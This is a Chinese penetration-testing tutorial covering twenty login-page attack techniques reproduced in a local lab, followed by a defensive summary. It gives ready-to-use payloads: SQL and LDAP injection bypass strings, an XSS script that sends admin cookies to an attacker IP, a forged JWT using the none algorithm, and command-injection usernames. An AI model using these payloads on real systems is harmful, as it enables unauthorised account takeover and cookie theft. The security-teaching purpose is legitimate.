登录界面的20种渗透思路 —— 图文解析

一、引言

🔐 引言:为什么你要关注登录界面渗透?

登录界面是绝大多数系统的门户,也是攻击者首选的突破口。一个脆弱的登录机制,足以让整个系统的防线形同虚设。

本文将从黑盒授权测试的角度,来讲解登录界面漏洞的发现

下面系统梳理了 20+ 种登录界面渗透思路,涵盖从经典漏洞到新兴手法,并配有真实截图与可复现的Payload,助你全面构建登录安全

**💖 温馨提示:**本文一切操作基于本地环境复现,请不要利用文章中的任何技术对未授权的靶标进行渗透测试,这样属于违法行为,如有使用,还请自行承担所造成后果,与智榜样网络安全无关。

二、漏洞复现

2.1 明文传输

后端直接根据存在的账号返回密码信息,这种通常使用js和密码进行对比来登录,需要后端传给前端正确的账号密码,造成的密码泄露

image-20251225201909999

image-20251225201909999

同理,明文传输也可以利用到手机验证码中,有些系统会将验证码传到前端进行比对,然后再决定是否登录成功

2.2 用户名可枚举漏洞

简单来说就是你能通过一定的信息发现这个用户是否存在,比如这个案例,后端直接提示你用户不存在

image-20251225201921972

image-20251225201921972

而你输入一个存在的账号信息,比如管理员账户admin,会有一个密码错误提示,此时就能验证管理员用户存在

image-20251225201929827

image-20251225201929827

如果此时前后端如果没有校验验证码的功能,那么就可以对此账户(例如admin)进行爆破

image-20251225201938609

image-20251225201938609

2.3 弱口令爆破

弱口令就不多讲了,在渗透中用的最多的

image-20251225201947493

image-20251225201947493

2.4 sql注入万能密码

万能密码,可以通过sql语句始终为 ”true“ 来绕过登录功能,以下是常用的万能密码

' OR '1'='1 admin' --  admin' # admin' || --+ admin'/* ' OR (SELECT 1 FROM DUAL WHERE 1=1) -- ') OR ('1'='1 ')) OR (('1'='1 # 等等

下面是靶场的复现案例,输入一个存在的用户,错误的密码,添加恶意的sql语句,即可绕过登录

username=admin' or 1=1#&password=admin

image-20251225202001752

image-20251225202001752

⚠️ 避坑指南

  • 使用SQL注入万能密码时,注意闭合符号('"))需根据后台查询语句灵活调整。

  • 若waF拦截,可通过编码、换行、注释符变形等方法绕过。

2.5 xss攻击

在攻击者机器上打开终端,运行命令:nc -lvp 8080,记录攻击者的IP地址(用于构造payload)

ncat.exe -lvp 8080

image-20251218203718531

image-20251218203718531

这里是一个常见的xss payload,用于反弹cookie信息

<script> var attackerIP = '10.10.10.1'; var img = new Image(); img.src = 'http://' + attackerIP + ':8080/?cookie=' + encodeURIComponent(document.cookie); </script>

将上面的payload作为密码或者用户名写入

image-20251223165043652

image-20251223165043652

点击登录,会显示登录失败,这里不要紧,在意料之中

image-20251223165055767

image-20251223165055767

此时后台管理登录日志界面的源码中会增加一条登录的日志记录,也就是刚刚的恶意js代码

image-20251223165231477

image-20251223165231477

如果此时后端没有进行对script标签进行过滤,那么这个时候通过邮件或者社交平台通知管理员登录系统访问这个登录日志界面,就会触发这个恶意的payload,ncat就会接收到管理员的cookie信息

image-20251223165307065

image-20251223165307065

浏览器最后把cookie设置好,就能绕过登录界面,访问管理员的后台

💡 除了前端注入,会话管理机制本身也常是脆弱点。下面我们来看与会话相关的两种常见漏洞。

2.6 会话固定漏洞

登录的会话ID,当用户登录成功时,不生成新会话ID,一直都是这个ID

image-20251218202041516

image-20251218202041516

可利用此会话ID,通过另一个浏览器修改对应的值(可以是cookie也可以是本地存储也可以是会话存储)

image-20251223211115096

image-20251223211115096

在另一个浏览器中登录,也会登录成功,和上一个案例差不多,易受xss攻击,从而盗取会话ID

image-20251223211054919

image-20251223211054919

防护措施:登录时生成新会话ID

7.1、通过URL传递会话|无HttpOnly保护,此时修改cookie或者其他会话信息就不会登录成功,只认证URL,但是从黑客视角,我们能窃取登录后的会话ID

image-20251223212856075

image-20251223212856075

这里我们需要注意开启HttpOnly,防止XSS攻击获取会话ID

2.7 固定验证码

一般处于测试阶段的系统会有这个漏洞,一般系统根本不存在,这里只是举例

从下图的验证码图片可以看到,验证码为1234

image-20251223213456677

image-20251223213456677

对于固定的验证码

image-20251223213641596

image-20251223213641596

我们同样可以进行密码爆破(相信没有谁会这么写代码吧),拿到管理员权限

2.8 前端校验验证码,后端不校验

这个就是讲,只在前端js中校验的验证码是否成功,但是后端没有接收这个验证码,没有对这个验证码进行校验(只提示用户名或者密码错误,没有提示验证码错误),这个时候我们就能进行密码爆破

image-20251223221129326

image-20251223221129326

2.9 任意用户重置密码

密码重置漏洞是指攻击者无需验证身份即可重置任意用户的密码,从而获得对用户账户的访问权限。

这里是一个系统中包含了忘记密码功能的黑盒测试

image-20251223221520365

image-20251223221520365

在忘记密码界面,前端没有对密码进行校验,也就是说前端,也不把密码传给后端,后端也不进行校验,只执行修改功能。

这里随便输入一个存在的用户的用户名和需要修改的任意密码

image-20251223221543678

image-20251223221543678

就会造成任意用户重置密码

image-20251223221648643

image-20251223221648643

2.10 双因素认证(2FA)绕过漏洞

这个漏洞是指攻击者在获取用户的用户名和密码后,无需完成双因素认证流程即可直接访问系统资源。

通常是因为系统在 login.php 中设置 2fa_required 为 true,但在 success.php 中没有验证这个状态,导致攻击者可以直接访问成功页面。

下面进行一个案例复现

正常的逻辑,输入正确的账号密码,登录后再输入双因素认证的验证码

image-20251223222023817

image-20251223222023817

验证码正确之后才会登录成功

image-20251223222110484

image-20251223222110484

绕过逻辑,我们点击退出登录,然后输入正确的账号密码

image-20251223222223048

image-20251223222223048

此时会显示双因素认证

image-20251223222233871

image-20251223222233871

如何绕过?我们直接访问success.php即可登录成功,无需输入双因素认证的验证码

image-20251223222337127

image-20251223222337127

除了双因素认证,类似‘状态缺失’的绕过思路也适用于其他多步骤验证场景,如支付确认、权限审批等。只要后端在关键步骤未严格校验前置状态,就可能被绕过。本文重点讲解登录场景,后续我们将深入探讨如何在后端已做二次校验的情况下,通过逻辑漏洞、时序竞争等方式实现绕过。

2.11 JWT(JSON Web Token)漏洞

是指在使用JWT进行身份验证时,由于实现不当导致的安全漏洞,攻击者可以利用这些漏洞绕过身份验证、篡改令牌或提升权限。

这里主要是允许使用无签名的none算法,攻击者可以篡改payload而无需签名

案例:

使用正确的用户名(user1)和密码(password1)登录系统

image-20251224140518193

image-20251224140518193

登录成功后,在浏览器开发者工具的Application/Storage选项卡中找 JWT cookie

image-20251224140620087

image-20251224140620087

解密,能正常解密出来数据和加密算法

image-20251224140826489

image-20251224140826489

随后我们将

{   "sub": "user1",   "name": "user1",   "iat": 1766556301,   "exp": 1766559901,   "role": "user" }

改为

{   "sub": "admin",   "name": "admin",   "iat": 1766556301,   "exp": 1766559901,   "role": "admin" }

image-20251224144240560

image-20251224144240560

复制这个管理员的jwt

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJhZG1pbiIsImlhdCI6MTc2NjU1NzU1NSwiZXhwIjoxNzY2NTYxMTU1LCJyb2xlIjoiYWRtaW4ifQ.k3OA-oKmIEHV4ewJ7iS2lemmzLT8HSutjfVbx1wznCY

image-20251224144407645

image-20251224144407645

复制这个None算法生成的jwt

eyJhbGciOiJOb25lIiwidHlwIjoiSldTIn0.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJhZG1pbiIsImlhdCI6MTc2NjU1NzU1NSwiZXhwIjoxNzY2NTYxMTU1LCJyb2xlIjoiYWRtaW4ifQ.

打开yakit在user1登录成功的界面,抓包,修改jtw为这个None算法的jwt token,发送数据包,即可成功越权admin用户

image-20251224144454766

image-20251224144454766

推荐一些JWT漏洞利用工具

1、jwt.io:在线解码与调试JWT。

2、jwt_tool:命令行JWT测试工具,支持多种攻击模式。

。。。。

如有补充,欢迎师傅们在评论区留言

2.12 LDAP注入

LDAP也叫轻型目录访问协议,LDAP支持TCP/IP,默认的端口是 389,加密的端口是 636。简单点来说就是,LDAP和mysql类似,是一个数据库,它是用来存储数据的。

方法一、输入注入Payload

  • 在用户名输入框中输入:admin)(&)

  • 在密码输入框中输入任意密码,例如:wrongpassword

image-20251224153956889

image-20251224153956889

原理:构造的LDAP查询为:(&(uid=admin)(&))(userPassword=wrongpassword))

(uid=admin) 匹配用户名admin

(&) 是一个永真条件,总是返回真

  • 由于LDAP查询的特性,整个查询会被解析为 (&(uid=admin)(&)),密码条件被忽略

方法二、使用OR条件绕过认证

输入注入Payload

  • 在用户名输入框中输入:admin)(|(password=*))(&)

  • 在密码输入框中输入任意密码,例如:wrongpassword

image-20251224155338012

image-20251224155338012

原理,构造的LDAP查询为:(&(uid=admin)(|(password=*))(&))(userPassword=wrongpassword))

(|(password=*)) 是一个OR条件,匹配所有密码非空的用户

  • 由于OR条件的存在,整个查询会返回真,密码条件被忽略

这个漏洞类似于sql注入中的万能密码,or 1=1 #,直接免密登录

2.13 登录的命令执行

这种漏洞常出现在日志记录、欢迎消息等功能中,开发者误将用户输入直接拼接至系统命令。

首先使用正确的账号密码登录,查看登录成功之后是什么样子,它页面出现了一个

echo 'User admin logged in at $(date)' >> login.log; ls -la .

image-20251224160224381

image-20251224160224381

既然是命令执行,我们也能构造恶意的命令

echo 'User admin logged in at $(date)' >> login.log; ls -la . # 其中admin是用户名 # 开始构造,并闭合前后部分的代码 echo 'User admin'|echo 'hack' > hack.txt |' logged in at $(date)' >> login.log; ls -la . # 那么完整的恶意用户名就是 admin'|echo 'hack' > hack.txt |'

image-20251224162008822

image-20251224162008822

这个时候就向web目录中写入了一个文件,漏洞利用完成

image-20251224162025642

image-20251224162025642

注:一些系统即使你登录失败也会执行这些命令,同样能进行登录绕过

2.14 文件包含漏洞

文件包含漏洞是指当应用程序使用用户提供的输入来构建文件路径,并且未对该输入进行适当验证或过滤时,攻击者可以包含或读取系统上的任意文件。这种漏洞可能导致敏感信息泄露、远程代码执行等严重后果。

在 login.php 文件中,主题文件路径是直接使用用户输入的 theme 参数构建的,没有进行任何验证或过滤:

$theme_path = "themes/{$theme}.php"; $theme_content = file_get_contents($theme_path);

输入正确得账号密码

image-20251224163831829

image-20251224163831829

登录成功后,页面会显示默认主题的内容

image-20251224163928512

image-20251224163928512

默认主题文件可以,那么包含上级目录的login呢?

image-20251224163622140

image-20251224163622140

登录成功即可查看到源码,验证漏洞存在

image-20251224163638292

image-20251224163638292

修复建议

  1. 避免使用用户输入构建文件路径:尽量使用固定的文件路径或预定义的主题列表

  2. 输入验证和过滤:如果必须使用用户输入,应对输入进行严格的验证和过滤

  3. 使用白名单机制:只允许访问预定义的文件或目录

  4. 限制文件访问范围:使用 open_basedir 配置限制PHP可以访问的目录

  5. 禁用危险函数:在生产环境中禁用 allow_url_fopen 和 allow_url_include

  6. 使用安全的文件操作函数:使用 realpath() 函数验证文件路径,确保文件位于预期目录内

2.15 错误的信息泄露

错误信息泄露漏洞是指应用程序在发生错误时,向用户显示过于详细的错误信息,这些信息可能包含敏感的系统、配置或代码信息。攻击者可以利用这些信息来了解应用程序的内部结构、配置细节和潜在的弱点,从而进行更有针对性的攻击。

image-20251224172913918

image-20251224172913918

2.16 HTTP参数污染登录绕过

HTTP参数污染可以造成攻击者可以在不知道正确密码的情况下绕过登录验证

来看一个普通的登录失败的登录数据包

image-20251224204341410

image-20251224204341410

如果应用程序仅处理参数的第一个或最后一个出现的值,攻击者可以注入:

username=admin&password=user&password=anything

如果后端仅处理最后一个 password 参数,攻击者可以使用 anything 进行访问,从而绕过身份验证。

image-20251224204503487

image-20251224204503487

2.17 json注入

JSON注入(JSON Injection)漏洞,攻击者可以通过构造特殊的JSON数据绕过登录验证,无需知道正确密码。

这个漏洞适用于前后端通过JSON交互的登录接口,在API越来越多的今天尤其常见。

接下来是一个正常的登录错误的数据包

image-20251225134827883

image-20251225134827883

我们使用json注入攻击

方式一、布尔值true绕过

修改password为true,显示登录成功

{"username":"admin","password":true}

image-20251225135028727

image-20251225135028727

再来使用一个不存在的用户名进行登录,而密码照样为true,会显示登录失败

{"username":"admi","password":true}

image-20251225135231946

image-20251225135231946

后端限制接收一个字符型参数,而不是接收一个布尔类型的绕过方法

{"username":"admin","password":"true"} # 将这里的true变为 "true" 加上单引号,即可变为字符型的true,从而也能绕过登录

image-20251225140148478

image-20251225140148478

方法二:使用管理员属性绕过

账号密码随意,使用存在的一个用户作为属性名,修改它的值为true,也可以绕过登录

{"username":"123123","password":"456456","admin":true}

image-20251225135805333

image-20251225135805333

方法三、数组注入

将用户名作为数组输入,也有可能绕过登录

{"username":["admin","test"],"password":"123123"}

image-20251225140637333

image-20251225140637333

为什么能绕过?

正常的登录流程应该是这样的

{     "username": "admin",     "password": "admin123" }

看源码的JSON解析

$decoded_data = json_decode($input_data, true); // 结果:$decoded_data['username'] 是数组 ["admin", "test"]

看源码的数组检测

if (isset($decoded_data['username']) && is_array($decoded_data['username'])) {     $username_array = $decoded_data['username']; // ["admin", "test"]

image-20251225141424479

image-20251225141424479

漏洞触发点

if (!empty($username_array) && isset($valid_users[$username_array[0]])) {     // 只检查第一个元素 "admin" 是否存在     // 完全跳过密码验证!     $login_success = true;

这样的设计就存在几个缺陷

1、后端认为"如果username是数组,说明有特殊处理需求"

2、但实际上,攻击者可以构造任意数组来利用这个逻辑

3、关键错误 :只验证用户名存在性,完全忽略密码验证

// 安全预期:应该同时验证用户名和密码 if (用户名存在 && 密码正确) {     // 登录成功 } // 实际实现(漏洞): if (用户名是数组 && 第一个元素存在) {     // 直接登录成功,忽略密码! }

这种漏洞在RESTful API、微服务架构中尤为常见,因为这类系统经常需要处理复杂的数据结构,如果安全验证逻辑不严谨,就容易出现此类绕过漏洞。

2.18 关键词绕过

关键词绕过,可以通过像bypass、pass、debug、verify、allow等等,将他们的值变为true即可绕过登录功能

案例

这是一个正常的登录请求

image-20251225155527521

image-20251225155527521

添加关键词bypass=true即可登录

image-20251225155557011

image-20251225155557011

2.19 条件竞争

本靶场演示真实的条件竞争(Race Condition)漏洞,攻击者可以通过高并发请求在时间窗口内绕过登录验证,无需知道正确密码。本版本专为黑盒测试设计,无需任何内部参数

重要说明:单次错误密码登录会失败,只有在高并发情况下才可能触发竞争条件!

来看一个正常的密码错误的数据包,服务端返回数据包为Location:index.html?error=1

image-20251225171812631

image-20251225171812631

我们修改密码为1-100,尝试

image-20251225172835664

image-20251225172835664

从第五个数据包开始,数据包相似度就变成了0.769,查看数据包已经是登录成功的状态了

疑问,这个不就是普通的爆破嘛?

条件竞争漏洞,它是业务逻辑的问题,弱口令是认证机制问题

一些防御措施:

1、原子操作(数据库事务)

2、锁机制(文件锁、内存锁)

3、减少时间窗口

4、状态一致性检查

2.20 前端Cookie越权漏洞

Cookie越权漏洞是指应用程序过度信任客户端提供的Cookie数据,没有在服务端进行充分的验证,导致攻击者可以通过操纵Cookie来绕过安全控制。

案例

这是一个登录界面

image-20251225222103319

image-20251225222103319

打开F12开发者工具,然后随便输入管理员的密码,进行登录

image-20251225222255096

image-20251225222255096

此时在网络中找到login数据包,再看到载荷,就能看到字段的名称分别是,username和password

image-20251225222631125

image-20251225222631125

一般来讲前端和后端的字段名称都一样,除非特俗的系统,传像后端的就是a或者b分别来标识账号密码

开始攻击,设置恶意的payload,在cookie中强制新增username和password

image-20251225222736310

image-20251225222736310

设置成功cookie信息后,刷新浏览器,就能登录成功

image-20251225222831184

image-20251225222831184

以上就是常见的登录框的渗透方法了,其他的比如短信轰炸,登录框缓冲区溢出漏洞,等等高级技巧,将在后续讲解,最后来总结一下吧

三、总结

围绕登录界面的渗透手法层出不穷,从明文传输、用户枚举、SQL注入等传统漏洞,到JWT篡改、条件竞争、JSON注入等新兴攻击方式,攻击者的手法在不断演进。通过这20+种思路的梳理,我们不难发现,绝大多数漏洞的根源在于“信任”的滥用——信任前端、信任输入、信任会话、信任结构。

攻击者角度

  1. 输入信任突破:包括SQL注入、LDAP注入、JSON注入、命令执行等,核心是利用后端对用户输入的处理不当。

  2. 会话信任突破:包括会话固定、JWT篡改、CSRF等,核心是会话管理机制存在逻辑或实现缺陷。

  3. 流程信任突破:包括双因素绕过、验证码绕过、条件竞争等,核心是认证流程存在时间或逻辑缝隙。

蓝队视觉

防御层次 关键措施
输入层 全程加密传输、参数类型检测、使用SQL、LDAP过滤特殊字符、JSON Schema验证
会话层 登录成功后刷新SessionID、JWT使用强密钥并校验算法、Httponly和Secure标记
流程层 验证码一次性且后端校验、双因素状态与会话绑定、操作使用锁机制防竞争
监控层 记录登录日志(IP、时间、设备)、设置异常登录报警、定期审计认证日志
← 防护与修复篇(开发 + 运维双维度) 代码审计篇(从源码定位漏洞) →